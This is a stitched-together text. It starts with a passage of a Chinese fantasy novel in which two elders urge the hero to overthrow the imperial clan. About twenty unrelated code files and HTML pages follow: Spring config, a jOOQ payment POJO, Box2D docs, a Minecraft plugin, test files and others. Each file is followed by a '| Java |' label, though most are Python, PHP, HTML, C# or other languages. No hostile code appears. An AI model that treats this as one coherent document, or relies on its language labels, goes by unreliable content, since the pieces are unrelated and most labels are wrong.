欧阳明用警告的眼神瞥了眼小鸟儿,连忙道:“是啊,皇族的实力深不可测。不过,在下想不出,他们就算有着强大的实力,与我又有什么关系?”
倪景深的眼眸顿时亮了起来,他低声道:“欧小友,难道你就没有一点想法么?”
欧阳明瞪着他的眼睛,慢慢地道:“什么想法?”
倪景深犹豫片刻,终于是忍耐不住,道:“改朝换代啊!”
他先前一直遮遮掩掩,直到此刻一口气说出来,那悬着的心才真正放下。而且,既然已经说出了这句话,就等于是射出的箭,再也没有回头和转圜的余地了。
方朝阳在一旁也是重重地一点头,道:“武家坐镇天下,已经有千余年了,也是时候换一家了。”
欧阳明虽然早就有所猜测,但是当他真的听到这两位的提议之后,不由得也是脸色微变。
目光炯炯的看着这两位,欧阳明沉声道:“两位,你们不是开玩笑吧?”
倪景深哑然失笑,道:“欧小友,你以为在这件事情上,我们会开玩笑么?”
欧阳明的眉头略皱,看着他们两人眼眸中那期待的眼神,不由得心中嘀咕,他们在搞什么鬼。
仿佛是看出了欧阳明的顾虑,倪景深肃然道:“欧小友,你尽管放心,只要我们能够击败皇室,他们上界的援军就肯定不会到来!”
欧阳明微怔,讶然问道:“什么?”
方朝阳神神秘秘地道:“皇室有上界靠山,我们也有啊!”
欧阳明的眼神一凝,望着他们半晌,叹道:“两位,如今人族大劫尚未过去,你们突然提及此事,不觉得有些过分么?”
倪景深脸上闪过了一抹红晕,但立即道:“欧小友,如果是往日,我等绝不会如此行事。但是这一次情况不同了……”他瞅了眼大黄,道:“欧小友你横空出世,不仅仅降服了两头灵兽,而且还击杀了虫族灵兽,只要再往沧海郡走一遭,人族大劫就将平复。呵呵,历代以来,我们人族应付大劫之时,都是损兵折将。但这一次却是平淡而过,令人喜不自禁啊。”
欧阳明苦笑一声,道:“倪老,城中伤亡之人众多,怎么能说是平淡而过?”
倪景深面不改色,道:“若是与以往相比,确实称得上了。”
方朝阳也是在一旁推波助澜,道:“欧大师,人无伤虎之心,虎有伤人之意啊。就算你没有取代皇室的念头,但你在这一次立下了赫赫战功,并且降服了两头灵兽。嘿嘿,您以为,皇室还会放心么?”
“不错,就算他们忌惮你所拥有的实力,不敢正面抗衡,但肯定会设局针对。”倪景深肃然道:“若是他们请你进入秘境,并且在秘境中请到上界强者降临,那么就算你有着两只灵兽相助,怕也是难以抵抗了。”
欧阳明心中微动,尚未回答,就听到小鸟儿再度出了讥讽嘲弄之音。
区区上界之人,又有什么了不起,只要老子在此,来一个杀一个,来两个杀一双!
不过,它的话除了欧阳明之外,倪景深两人却是一无所知。
欧阳明无奈地长叹一声,他突然现,在谈论这些事情的时候,让小鸟儿在一旁,绝对是一个天大的错误。
这小家伙,在这种场合中只会给自己添麻烦。
只是,欧阳明虽然没有颠覆皇室之心,但被这两位提及之后,心中多多少少都有着一份警惕了。
(三七中文 www.37zw.net | Java |
package com.dmtools.webapp.config;
import com.dmtools.webapp.config.locale.AngularCookieLocaleResolver;
import org.springframework.boot.bind.RelaxedPropertyResolver;
import org.springframework.context.EnvironmentAware;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.core.env.Environment;
import org.springframework.web.servlet.LocaleResolver;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurerAdapter;
import org.springframework.web.servlet.i18n.LocaleChangeInterceptor;
@Configuration
public class LocaleConfiguration extends WebMvcConfigurerAdapter implements EnvironmentAware {
@SuppressWarnings("unused")
private RelaxedPropertyResolver propertyResolver;
@Override
public void setEnvironment(Environment environment) {
this.propertyResolver = new RelaxedPropertyResolver(environment, "spring.messages.");
}
@Bean(name = "localeResolver")
public LocaleResolver localeResolver() {
AngularCookieLocaleResolver cookieLocaleResolver = new AngularCookieLocaleResolver();
cookieLocaleResolver.setCookieName("NG_TRANSLATE_LANG_KEY");
return cookieLocaleResolver;
}
@Override
public void addInterceptors(InterceptorRegistry registry) {
LocaleChangeInterceptor localeChangeInterceptor = new LocaleChangeInterceptor();
localeChangeInterceptor.setParamName("language");
registry.addInterceptor(localeChangeInterceptor);
}
}
| Java |
/**
* This class is generated by jOOQ
*/
package com.aviafix.db.generated.tables.pojos;
import java.io.Serializable;
import java.time.LocalDate;
import javax.annotation.Generated;
/**
* This class is generated by jOOQ.
*/
@Generated(
value = {
"http://www.jooq.org",
"jOOQ version:3.8.5"
},
comments = "This class is generated by jOOQ"
)
@SuppressWarnings({ "all", "unchecked", "rawtypes" })
public class PAYBYCREDITCARDPROJECTION implements Serializable {
private static final long serialVersionUID = 1444342293;
private Integer ETID;
private Integer CREDITCARDNUM;
private LocalDate EXPDATE;
private Integer CODE;
private String CARDHOLDERNAME;
private Double AMOUNT;
public PAYBYCREDITCARDPROJECTION() {}
public PAYBYCREDITCARDPROJECTION(PAYBYCREDITCARDPROJECTION value) {
this.ETID = value.ETID;
this.CREDITCARDNUM = value.CREDITCARDNUM;
this.EXPDATE = value.EXPDATE;
this.CODE = value.CODE;
this.CARDHOLDERNAME = value.CARDHOLDERNAME;
this.AMOUNT = value.AMOUNT;
}
public PAYBYCREDITCARDPROJECTION(
Integer ETID,
Integer CREDITCARDNUM,
LocalDate EXPDATE,
Integer CODE,
String CARDHOLDERNAME,
Double AMOUNT
) {
this.ETID = ETID;
this.CREDITCARDNUM = CREDITCARDNUM;
this.EXPDATE = EXPDATE;
this.CODE = CODE;
this.CARDHOLDERNAME = CARDHOLDERNAME;
this.AMOUNT = AMOUNT;
}
public Integer ETID() {
return this.ETID;
}
public void ETID(Integer ETID) {
this.ETID = ETID;
}
public Integer CREDITCARDNUM() {
return this.CREDITCARDNUM;
}
public void CREDITCARDNUM(Integer CREDITCARDNUM) {
this.CREDITCARDNUM = CREDITCARDNUM;
}
public LocalDate EXPDATE() {
return this.EXPDATE;
}
public void EXPDATE(LocalDate EXPDATE) {
this.EXPDATE = EXPDATE;
}
public Integer CODE() {
return this.CODE;
}
public void CODE(Integer CODE) {
this.CODE = CODE;
}
public String CARDHOLDERNAME() {
return this.CARDHOLDERNAME;
}
public void CARDHOLDERNAME(String CARDHOLDERNAME) {
this.CARDHOLDERNAME = CARDHOLDERNAME;
}
public Double AMOUNT() {
return this.AMOUNT;
}
public void AMOUNT(Double AMOUNT) {
this.AMOUNT = AMOUNT;
}
@Override
public String toString() {
StringBuilder sb = new StringBuilder("PAYBYCREDITCARDPROJECTION (");
sb.append(ETID);
sb.append(", ").append(CREDITCARDNUM);
sb.append(", ").append(EXPDATE);
sb.append(", ").append(CODE);
sb.append(", ").append(CARDHOLDERNAME);
sb.append(", ").append(AMOUNT);
sb.append(")");
return sb.toString();
}
}
| Java |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>src\fork\box2d\collision\b2Manifold.js - Box2D Port Fork API</title>
<link rel="stylesheet" href="http://yui.yahooapis.com/3.9.1/build/cssgrids/cssgrids-min.css">
<link rel="stylesheet" href="../assets/vendor/prettify/prettify-min.css">
<link rel="stylesheet" href="../assets/css/main.css" id="site_styles">
<link rel="shortcut icon" type="image/png" href="../assets/favicon.png">
<script src="http://yui.yahooapis.com/combo?3.9.1/build/yui/yui-min.js"></script>
</head>
<body class="yui3-skin-sam">
<div id="doc">
<div id="hd" class="yui3-g header">
<div class="yui3-u-3-4">
<h1><img src="../assets/css/logo.png" title="Box2D Port Fork API"></h1>
</div>
<div class="yui3-u-1-4 version">
<em>API Docs for: 1.0.0</em>
</div>
</div>
<div id="bd" class="yui3-g">
<div class="yui3-u-1-4">
<div id="docs-sidebar" class="sidebar apidocs">
<div id="api-list">
<h2 class="off-left">APIs</h2>
<div id="api-tabview" class="tabview">
<ul class="tabs">
<li><a href="#api-classes">Classes</a></li>
<li><a href="#api-modules">Modules</a></li>
</ul>
<div id="api-tabview-filter">
<input type="search" id="api-filter" placeholder="Type to filter APIs">
</div>
<div id="api-tabview-panel">
<ul id="api-classes" class="apis classes">
<li><a href="../classes/b2AABB.html">b2AABB</a></li>
<li><a href="../classes/b2Body.html">b2Body</a></li>
<li><a href="../classes/b2BodyDef.html">b2BodyDef</a></li>
<li><a href="../classes/b2Bound.html">b2Bound</a></li>
<li><a href="../classes/b2BoundValues.html">b2BoundValues</a></li>
<li><a href="../classes/b2BoxDef.html">b2BoxDef</a></li>
<li><a href="../classes/b2BufferedPair.html">b2BufferedPair</a></li>
<li><a href="../classes/b2CircleContact.html">b2CircleContact</a></li>
<li><a href="../classes/b2CircleDef.html">b2CircleDef</a></li>
<li><a href="../classes/b2CircleShape.html">b2CircleShape</a></li>
<li><a href="../classes/b2Collision.html">b2Collision</a></li>
<li><a href="../classes/b2CollisionFilter.html">b2CollisionFilter</a></li>
<li><a href="../classes/b2Conservative.html">b2Conservative</a></li>
<li><a href="../classes/b2Contact.html">b2Contact</a></li>
<li><a href="../classes/b2ContactConstraint.html">b2ContactConstraint</a></li>
<li><a href="../classes/b2ContactConstraintPoint.html">b2ContactConstraintPoint</a></li>
<li><a href="../classes/b2ContactID.html">b2ContactID</a></li>
<li><a href="../classes/b2ContactManager.html">b2ContactManager</a></li>
<li><a href="../classes/b2ContactNode.html">b2ContactNode</a></li>
<li><a href="../classes/b2ContactPoint.html">b2ContactPoint</a></li>
<li><a href="../classes/b2ContactRegister.html">b2ContactRegister</a></li>
<li><a href="../classes/b2ContactSolver.html">b2ContactSolver</a></li>
<li><a href="../classes/b2Distance.html">b2Distance</a></li>
<li><a href="../classes/b2DistanceJoint.html">b2DistanceJoint</a></li>
<li><a href="../classes/b2DistanceJointDef.html">b2DistanceJointDef</a></li>
<li><a href="../classes/b2GearJoint.html">b2GearJoint</a></li>
<li><a href="../classes/b2GearJointDef.html">b2GearJointDef</a></li>
<li><a href="../classes/b2Island.html">b2Island</a></li>
<li><a href="../classes/b2Jacobian.html">b2Jacobian</a></li>
<li><a href="../classes/b2Joint.html">b2Joint</a></li>
<li><a href="../classes/b2JointDef.html">b2JointDef</a></li>
<li><a href="../classes/b2JointNode.html">b2JointNode</a></li>
<li><a href="../classes/b2Manifold.html">b2Manifold</a></li>
<li><a href="../classes/b2MassData.html">b2MassData</a></li>
<li><a href="../classes/b2Mat22.html">b2Mat22</a></li>
<li><a href="../classes/b2Math.html">b2Math</a></li>
<li><a href="../classes/b2MouseJoint.html">b2MouseJoint</a></li>
<li><a href="../classes/b2MouseJointDef.html">b2MouseJointDef</a></li>
<li><a href="../classes/b2NullContact.html">b2NullContact</a></li>
<li><a href="../classes/b2OBB.html">b2OBB</a></li>
<li><a href="../classes/b2Pair.html">b2Pair</a></li>
<li><a href="../classes/b2PairCallback.html">b2PairCallback</a></li>
<li><a href="../classes/b2PairManager.html">b2PairManager</a></li>
<li><a href="../classes/b2PolyAndCircleContact.html">b2PolyAndCircleContact</a></li>
<li><a href="../classes/b2PolyContact.html">b2PolyContact</a></li>
<li><a href="../classes/b2PolyDef.html">b2PolyDef</a></li>
<li><a href="../classes/b2PolyShape.html">b2PolyShape</a></li>
<li><a href="../classes/b2PrismaticJoint.html">b2PrismaticJoint</a></li>
<li><a href="../classes/b2PrismaticJointDef.html">b2PrismaticJointDef</a></li>
<li><a href="../classes/b2Proxy.html">b2Proxy</a></li>
<li><a href="../classes/b2PulleyJoint.html">b2PulleyJoint</a></li>
<li><a href="../classes/b2PulleyJointDef.html">b2PulleyJointDef</a></li>
<li><a href="../classes/b2RevoluteJoint.html">b2RevoluteJoint</a></li>
<li><a href="../classes/b2RevoluteJointDef.html">b2RevoluteJointDef</a></li>
<li><a href="../classes/b2Settings.html">b2Settings</a></li>
<li><a href="../classes/b2Shape.html">b2Shape</a></li>
<li><a href="../classes/b2ShapeDef.html">b2ShapeDef</a></li>
<li><a href="../classes/b2TimeStep.html">b2TimeStep</a></li>
<li><a href="../classes/b2Vec2.html">b2Vec2</a></li>
<li><a href="../classes/b2World.html">b2World</a></li>
<li><a href="../classes/b2WorldListener.html">b2WorldListener</a></li>
<li><a href="../classes/ClipVertex.html">ClipVertex</a></li>
<li><a href="../classes/Features.html">Features</a></li>
</ul>
<ul id="api-modules" class="apis modules">
</ul>
</div>
</div>
</div>
</div>
</div>
<div class="yui3-u-3-4">
<div id="api-options">
Show:
<label for="api-show-inherited">
<input type="checkbox" id="api-show-inherited" checked>
Inherited
</label>
<label for="api-show-protected">
<input type="checkbox" id="api-show-protected">
Protected
</label>
<label for="api-show-private">
<input type="checkbox" id="api-show-private">
Private
</label>
<label for="api-show-deprecated">
<input type="checkbox" id="api-show-deprecated">
Deprecated
</label>
</div>
<div class="apidocs">
<div id="docs-main">
<div class="content">
<h1 class="file-heading">File: src\fork\box2d\collision\b2Manifold.js</h1>
<div class="file">
<pre class="code prettyprint linenums">
/*
* Copyright (c) 2006-2007 Erin Catto http:
*
* This software is provided 'as-is', without any express or implied
* warranty. In no event will the authors be held liable for any damages
* arising from the use of this software.
* Permission is granted to anyone to use this software for any purpose,
* including commercial applications, and to alter it and redistribute it
* freely, subject to the following restrictions:
* 1. The origin of this software must not be misrepresented; you must not
* claim that you wrote the original software. If you use this software
* in a product, an acknowledgment in the product documentation would be
* appreciated but is not required.
* 2. Altered source versions must be plainly marked, and must not be
* misrepresented the original software.
* 3. This notice may not be removed or altered from any source distribution.
*/
/**
* A manifold for two touching convex shapes.
*
* @class b2Manifold
* @constructor
*/
var b2Manifold = function () {
this.points = new Array(b2Settings.b2_maxManifoldPoints);
for (var i = 0; i < b2Settings.b2_maxManifoldPoints; i++){
this.points[i] = new b2ContactPoint();
}
this.normal = new b2Vec2();
};
b2Manifold.prototype =
{
points: null,
normal: null,
pointCount: 0
};
</pre>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<script src="../assets/vendor/prettify/prettify-min.js"></script>
<script>prettyPrint();</script>
<script src="../assets/js/yui-prettify.js"></script>
<script src="../assets/../api.js"></script>
<script src="../assets/js/api-filter.js"></script>
<script src="../assets/js/api-list.js"></script>
<script src="../assets/js/api-search.js"></script>
<script src="../assets/js/apidocs.js"></script>
</body>
</html>
| Java |
from test_support import *
# this test calls a prover which is correctly configured but whose execution
# gives an error (here: the prover executable doesn't exist). The intent is to
# test the output of gnatprove in this specific case
prove_all(prover=["plop"], opt=["--why3-conf=test.conf"])
| Java |
import altConnect from 'higher-order-components/altConnect';
import { STATUS_OK } from 'app-constants';
import ItemStore from 'stores/ItemStore';
import ProgressBar from '../components/ProgressBar';
const mapStateToProps = ({ itemState }) => ({
progress: itemState.readingPercentage,
hidden: itemState.status !== STATUS_OK,
});
mapStateToProps.stores = { ItemStore };
export default altConnect(mapStateToProps)(ProgressBar);
// WEBPACK FOOTER //
// ./src/js/app/modules/item/containers/ProgressBarContainer.js | Java |
/*
* Author: Bob Limnor (info@limnor.com)
* Project: Limnor Studio
* Item: Visual Programming Language Implement
* License: GNU General Public License v3.0
*/
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.Data;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Windows.Forms.Design;
using VPL;
namespace LimnorDesigner
{
/// <summary>
/// load primary types and Type into the treeview for selection for creating Attribute
/// </summary>
public partial class TypeSelector : UserControl
{
public Type SelectedType;
IWindowsFormsEditorService _svc;
public TypeSelector()
{
InitializeComponent();
}
public void LoadAttributeParameterTypes(IWindowsFormsEditorService service, EnumWebRunAt runAt, Type initSelection)
{
_svc = service;
treeView1.LoadAttributeParameterTypes(runAt, initSelection);
treeView1.AfterSelect += new TreeViewEventHandler(treeView1_AfterSelect);
treeView1.Click += new EventHandler(treeView1_Click);
treeView1.KeyPress += new KeyPressEventHandler(treeView1_KeyPress);
}
void treeView1_KeyPress(object sender, KeyPressEventArgs e)
{
if (e.KeyChar == (char)13)
{
if (_svc != null)
{
_svc.CloseDropDown();
}
}
}
void treeView1_Click(object sender, EventArgs e)
{
if (_svc != null)
{
_svc.CloseDropDown();
}
}
void treeView1_AfterSelect(object sender, TreeViewEventArgs e)
{
TreeNodeClassType tnct = e.Node as TreeNodeClassType;
if (tnct != null)
{
SelectedType = tnct.OwnerDataType;
}
}
public static Bitmap GetTypeImageByName(string name)
{
if (string.CompareOrdinal("Number", name) == 0)
{
return Resources._decimal;
}
if (string.CompareOrdinal("String", name) == 0)
{
return Resources.abc;
}
if (string.CompareOrdinal("Array", name) == 0)
{
return Resources._array.ToBitmap();
}
if (string.CompareOrdinal("DateTime", name) == 0)
{
return Resources.date;
}
if (string.CompareOrdinal("TimeSpan", name) == 0)
{
return Resources.date;
}
return Resources._decimal;
}
public static TypeSelector GetAttributeParameterDialogue(IWindowsFormsEditorService service, EnumWebRunAt runAt, Type initSelection)
{
TypeSelector dlg = new TypeSelector();
dlg.LoadAttributeParameterTypes(service, runAt, initSelection);
return dlg;
}
}
}
| Java |
/*
ComJail - A jail plugin for Minecraft servers
Copyright (C) 2015 comdude2 (Matt Armer)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
Contact: admin@mcviral.net
*/
package net.mcviral.dev.plugins.comjail.events;
import org.bukkit.ChatColor;
import org.bukkit.event.EventHandler;
import org.bukkit.event.EventPriority;
import org.bukkit.event.Listener;
import org.bukkit.event.player.PlayerTeleportEvent;
import org.bukkit.plugin.Plugin;
import net.mcviral.dev.plugins.comjail.main.JailController;
public class TeleportEvent implements Listener{
@SuppressWarnings("unused")
private Plugin plugin;
private JailController jailcontroller;
public TeleportEvent(Plugin mplugin, JailController mjailcontroller){
plugin = mplugin;
jailcontroller = mjailcontroller;
}
@EventHandler(priority = EventPriority.HIGHEST)
public void onPlayerTeleport(PlayerTeleportEvent event){
if (jailcontroller.isJailed(event.getPlayer().getUniqueId())){
if (!event.getPlayer().hasPermission("jail.override")){
event.setCancelled(true);
event.getPlayer().sendMessage("[" + ChatColor.BLUE + "GUARD" + ChatColor.WHITE + "] " + ChatColor.RED + "You are jailed, you may not teleport.");
}
}
}
}
| Java |
package se.solit.timeit.resources;
import java.net.URI;
import java.net.URISyntaxException;
import javax.servlet.http.HttpSession;
import javax.ws.rs.WebApplicationException;
import javax.ws.rs.core.Response;
public class BaseResource
{
protected WebApplicationException redirect(String destination) throws URISyntaxException
{
URI uri = new URI(destination);
Response response = Response.seeOther(uri).build();
return new WebApplicationException(response);
}
/**
* Set message to show the message in the next shown View.
*
* @param session
* @param message
*/
protected void setMessage(HttpSession session, String message)
{
session.setAttribute("message", message);
}
}
| Java |
/// Copyright (c) 2012 Ecma International. All rights reserved.
/// Ecma International makes this code available under the terms and conditions set
/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
/// "Use Terms"). Any redistribution of this code must retain the above
/// copyright and this notice and otherwise comply with the Use Terms.
/**
* @path ch15/15.3/15.3.2/15.3.2.1/15.3.2.1-11-8-s.js
* @description Strict Mode - SyntaxError is not thrown if a function is created using a Function constructor that has two identical parameters, which are separated by a unique parameter name and there is no explicit 'use strict' in the function constructor's body
* @onlyStrict
*/
function testcase() {
"use strict";
var foo = new Function("baz", "qux", "baz", "return 0;");
return true;
}
runTestCase(testcase);
| Java |
/*
* This file is part of rasdaman community.
*
* Rasdaman community is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Rasdaman community is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with rasdaman community. If not, see <http://www.gnu.org/licenses/>.
*
* Copyright 2003 - 2010 Peter Baumann / rasdaman GmbH.
*
* For more information please see <http://www.rasdaman.org>
* or contact Peter Baumann via <baumann@rasdaman.com>.
*/
package petascope.wcs2.handlers;
import static petascope.wcs2.extensions.FormatExtension.MIME_XML;
/**
* Bean holding the response from executing a request operation.
*
* @author <a href="mailto:d.misev@jacobs-university.de">Dimitar Misev</a>
*/
public class Response {
private final byte[] data;
private final String xml;
private final String mimeType;
private final int exit_code;
private static final int DEFAULT_CODE = 200;
// constructrs
public Response(byte[] data) {
this(data, null, null, DEFAULT_CODE);
}
public Response(byte[] data, int code) {
this(data, null, null, code);
}
public Response(String xml) {
this(null, xml, null); //FormatExtension.MIME_GML);
}
public Response(String xml, int code) {
this(null, xml, MIME_XML, code);
}
public Response(byte[] data, String xml, String mimeType) {
this(data, xml, mimeType, DEFAULT_CODE);
}
public Response(byte[] data, String xml, String mimeType, int code) {
this.data = data;
this.xml = xml;
this.mimeType = mimeType;
this.exit_code = code;
}
// interface
public byte[] getData() {
return data;
}
public String getMimeType() {
return mimeType;
}
public String getXml() {
return xml;
}
public int getExitCode() {
return exit_code;
}
}
| Java |
function createCategorySlider(selector)
{
$(document).ready(function(){
var checkforloadedcats = [];
var firstImage = $(selector).find('img').filter(':first');
if(firstImage.length > 0){
checkforloadedcats[selector] = setInterval(function() {
var image = firstImage.get(0);
if (image.complete || image.readyState == 'complete' || image.readyState == 4) {
clearInterval(checkforloadedcats[selector]);
$(selector).flexslider({
namespace: "",
animation: "slide",
easing: "easeInQuart",
slideshow: false,
animationLoop: false,
animationSpeed: 700,
pauseOnHover: true,
controlNav: false,
itemWidth: 238,
minItems: flexmin,
maxItems: flexmax,
move: 0 });
}
}, 20);
}
$(window).resize(function() {
try {
$(selector).flexslider(0);
if($('#center_column').width()<=280){ $(selector).data('flexslider').setOpts({minItems: 1, maxItems: 1});
}
else if($('#center_column').width()<=440){ $(selector).data('flexslider').setOpts({minItems: grid_size_ms, maxItems: grid_size_ms});}
else if($('#center_column').width()<963){ $(selector).data('flexslider').setOpts({minItems: grid_size_sm, maxItems: grid_size_sm});}
else if($('#center_column').width()>=1240){ $(selector).data('flexslider').setOpts({minItems: grid_size_lg, maxItems: grid_size_lg});}
else if($('#center_column').width()>=963){ $(selector).data('flexslider').setOpts({minItems: grid_size_md, maxItems: grid_size_md});}
} catch(e) {
// handle all your exceptions here
}
});
});
}
| Java |
<?php
/**
* Skeleton subclass for performing query and update operations on the 'transaction' table.
*
*
*
* This class was autogenerated by Propel 1.4.2 on:
*
* Sun Jul 17 20:02:37 2011
*
* You should add additional methods to this class to meet the
* application requirements. This class will only be generated as
* long as it does not already exist in the output directory.
*
* @package lib.model.basic
*/
class TransactionPeer extends BaseTransactionPeer
{
} // TransactionPeer
| Java |
from itertools import combinations
def is_good(n):
return 1 + ((int(n) - 1) % 9) == 9
def generate_subsequences(n):
subsequences = []
combinations_list = []
index = 4
#Generate all combinations
while index > 0:
combinations_list.append(list(combinations(str(n), index)))
index -= 1
#Formatting combinations
for index in combinations_list:
for combination in index:
subsequences.append(''.join(combination))
return subsequences
if __name__ == '__main__':
#The modulo
modulo = ((10 ** 9) + 7)
#Get number of cases
cases = int(raw_input())
while cases > 0:
value = raw_input()
good_subsequences = 0
for sub in generate_subsequences(value):
if is_good(sub):
good_subsequences += 1
print (good_subsequences % modulo)-1
cases -= 1
| Java |
<!--
This is a more advanced example of using the each function in jQuery.
The idea here is that the handling function can choose to return false
in which case the 'each' loop is stopped and no further DOM elements
are processed. You can use this in order to find a specific element, process
only a prefix of the elements and more.
Mark Veltzer <mark.veltzer@gmail.com>
-->
<html>
<head>
<script src='/jquery.js'></script>
<script>
$(document).ready(function() {
$('#mybutton').click(function() {
$('li').each(function(index,element) {
if(element!=this) {
throw new String('what ?!?');
}
$(this).text($(this).text()+'-'+index);
if(Math.random()<0.2) {
return false;
} else {
return true;
}
});
});
});
</script>
</head>
<body>
<ul>
<li>a</li>
<li>b</li>
<li>c</li>
<li>d</li>
<li>e</li>
<li>f</li>
<li>g</li>
<li>h</li>
<li>i</li>
</ul>
<button id='mybutton'>Push me to process <b>some</b> of the elements!</button>
</body>
</html>
| Java |
#coding=utf-8
import unittest
import HTMLTestRunner
import time
from config import globalparam
from public.common import sendmail
def run():
test_dir = './testcase'
suite = unittest.defaultTestLoader.discover(start_dir=test_dir,pattern='test*.py')
now = time.strftime('%Y-%m-%d_%H_%M_%S')
reportname = globalparam.report_path + '\\' + 'TestResult' + now + '.html'
with open(reportname,'wb') as f:
runner = HTMLTestRunner.HTMLTestRunner(
stream=f,
title='测试报告',
description='Test the import testcase'
)
runner.run(suite)
time.sleep(3)
# 发送邮件
mail = sendmail.SendMail()
mail.send()
if __name__=='__main__':
run() | Java |
package com.hacks.collegebarter.fragments;
import android.app.Activity;
import android.app.Fragment;
import android.os.Bundle;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import com.hacks.collegebarter.R;
import com.hacks.collegebarter.navdrawer.MainAppActivity;
public class TradeboardFragment extends Fragment{
public static final String ARG_SECTION_NUMBER = "section_number";
// Following constructor
public TradeboardFragment() {
Bundle bundle = new Bundle();
bundle.putInt(ARG_SECTION_NUMBER, 0);
this.setArguments(bundle);
}
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
View rootView = inflater.inflate(R.layout.tradeboard_fragment, container,
false);
return rootView;
}
@Override
public void onAttach(Activity activity) {
super.onAttach(activity);
((MainAppActivity) activity).onSectionAttached(getArguments().getInt(
ARG_SECTION_NUMBER));
}
}
| Java |
/* -*- c++ -*- */
/*
* Copyright 2014 Felix Wunsch, Communications Engineering Lab (CEL) / Karlsruhe Institute of Technology (KIT).
*
* This is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 3, or (at your option)
* any later version.
*
* This software is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this software; see the file COPYING. If not, write to
* the Free Software Foundation, Inc., 51 Franklin Street,
* Boston, MA 02110-1301, USA.
*/
#ifndef INCLUDED_DRM_GENERATE_FAC_VB_IMPL_H
#define INCLUDED_DRM_GENERATE_FAC_VB_IMPL_H
#include <drm/generate_fac_vb.h>
#include "drm_util.h"
namespace gr {
namespace drm {
class generate_fac_vb_impl : public generate_fac_vb
{
private:
transm_params* d_tp;
unsigned short d_tf_ctr; // transmission frame counter
public:
generate_fac_vb_impl(transm_params* tp);
~generate_fac_vb_impl();
void init_data(unsigned char* data); // set FAC bitstream according to config parameters (see DRM standard chapter 6.3)
void increment_tf_ctr(); // increments tf_ctr and takes account of wraparound;
// Where all the action really happens
int work(int noutput_items,
gr_vector_const_void_star &input_items,
gr_vector_void_star &output_items);
};
} // namespace drm
} // namespace gr
#endif /* INCLUDED_DRM_GENERATE_FAC_VB_IMPL_H */
| Java |
# -*- coding: utf-8 -*-
from pyload.plugin.internal.DeadCrypter import DeadCrypter
class FiredriveCom(DeadCrypter):
__name = "FiredriveCom"
__type = "crypter"
__version = "0.03"
__pattern = r'https?://(?:www\.)?(firedrive|putlocker)\.com/share/.+'
__config = [] #@TODO: Remove in 0.4.10
__description = """Firedrive.com folder decrypter plugin"""
__license = "GPLv3"
__authors = [("Walter Purcaro", "vuolter@gmail.com")]
| Java |
using Microsoft.VisualStudio.TestTools.UnitTesting;
using Moq;
using Portal.BLL.Concrete.Multimedia.AdjusterParam;
using Portal.BLL.Concrete.Multimedia.Adjusters;
using Portal.BLL.Concrete.Multimedia.Builder;
using Portal.Domain.BackendContext.Entity;
namespace Portal.BLL.Tests.MultimediaTests
{
[TestClass]
public class ProcessedScreenshotBuilderTest
{
[TestMethod]
public void BuildProcessedScreenshotTest()
{
//Arrange
const string imageFormat = "imageFormat";
const string contentType = "contentType";
var screenshotAdjuster = new Mock<IScreenshotAdjuster>();
var builder = new ProcessdScreenshotBuilder(screenshotAdjuster.Object);
var screenshotAdjusterParam = new ScreenshotAdjusterParam();
var screenshotParm = new ScreenshotParam();
screenshotAdjuster.Setup(m => m.AdjustScreenshotParam(screenshotAdjusterParam)).Returns(screenshotParm);
//Act
var processedScreenshot = builder.BuildProcessedScreenshot(screenshotAdjusterParam, imageFormat, contentType);
//Assert
Assert.AreEqual(screenshotParm,processedScreenshot.ScreenshotParam);
Assert.AreEqual(imageFormat, processedScreenshot.ImageFormat);
Assert.AreEqual(contentType,processedScreenshot.ContentType);
}
}
}
| Java |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=9"/>
<title>GNU Radio 3.6.4.2 C++ API: gr_file_descriptor_source Class Reference</title>
<link href="tabs.css" rel="stylesheet" type="text/css"/>
<link href="doxygen.css" rel="stylesheet" type="text/css" />
<link href="navtree.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" src="resize.js"></script>
<script type="text/javascript" src="navtree.js"></script>
<script type="text/javascript">
$(document).ready(initResizable);
</script>
</head>
<body>
<div id="top"><!-- do not remove this div! -->
<div id="titlearea">
<table cellspacing="0" cellpadding="0">
<tbody>
<tr style="height: 56px;">
<td style="padding-left: 0.5em;">
<div id="projectname">GNU Radio 3.6.4.2 C++ API
</div>
</td>
</tr>
</tbody>
</table>
</div>
<!-- Generated by Doxygen 1.7.6.1 -->
</div>
<div id="side-nav" class="ui-resizable side-nav-resizable">
<div id="nav-tree">
<div id="nav-tree-contents">
</div>
